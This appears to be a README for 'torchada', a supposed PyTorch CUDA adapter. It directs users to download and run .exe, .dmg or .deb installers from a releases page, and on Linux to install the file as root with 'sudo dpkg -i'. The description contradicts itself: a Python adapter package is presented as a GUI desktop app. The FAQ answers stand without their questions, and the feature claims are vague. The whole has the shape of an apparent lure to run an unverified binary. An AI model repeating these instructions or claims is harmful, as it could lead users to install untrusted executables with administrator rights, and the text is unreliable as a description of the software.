Welcome to the torchada application! This tool allows you to use the features of PyTorch CUDA on your system seamlessly. Follow these simple steps to get started.

• Operating System: Windows, macOS, or Linux
• Python Version: Python 3.6 or higher
• Memory: At least 4 GB of RAM
• Disk Space: 200 MB of free space

Ensure your system meets these requirements before proceeding.

To download the latest version of torchada, visit this page to download: torchada Releases

1. Click on the link above to open the releases page.
2. You will see a list of available versions. Look for the latest version.
3. Click on the version number to access the release details.
4. You will find various files available for download. Choose the appropriate file for your operating system.
5. After the download completes, locate the file in your downloads folder.

1. Locate the downloaded .exe file.
2. Double-click the file to start the installation.
3. Follow the on-screen instructions to complete the installation.
4. Once installed, you can open torchada from the Start menu or desktop shortcut.

1. Locate the downloaded .dmg file.
2. Open the file by double-clicking on it.
3. Drag the torchada icon into your Applications folder.
4. You can now find torchada in your Applications directory.

Most Linux distributions will allow you to install from a package manager. To do this:

1. Open a terminal window.
2. Navigate to the directory where you downloaded the file.
3. Use the following command to install it:

   sudo dpkg -i torchada-*.deb

4. After installation, you can run torchada by typing torchada in your terminal.

Once you have installed torchada, using it is straightforward:

1. Open the application. You will see a user-friendly interface designed for your convenience.
2. Follow the on-screen prompts to set up the environment.
3. Import your PyTorch projects and start leveraging CUDA directly through torchada.

• Seamless Integration: Works just like PyTorch CUDA.
• User-Friendly Interface: Designed for easy navigation.
• Optimized Performance: Enjoy faster computations without complex setup.
• Regular Updates: Stay up-to-date with the latest features and fixes.

torchada is an adapter package designed to make your experience with PyTorch CUDA smooth and effective. It simplifies the setup, allowing you to focus on your projects.

No, torchada works alongside your existing PyTorch CUDA installation without conflict.

If you encounter any issues, please report them on the Issues page of this repository. Include details about your system and the problem you experienced.

Yes, you can find discussions and support on our community forums. Check the links on the repository homepage for access.

For further support or inquiries, feel free to reach out via the contact options on our GitHub page.

torchada is open-source software, licensed under the MIT License. You can freely use, modify, and distribute it, following the terms of the license.

Thank you for using torchada! Enjoy a more convenient way to work with PyTorch!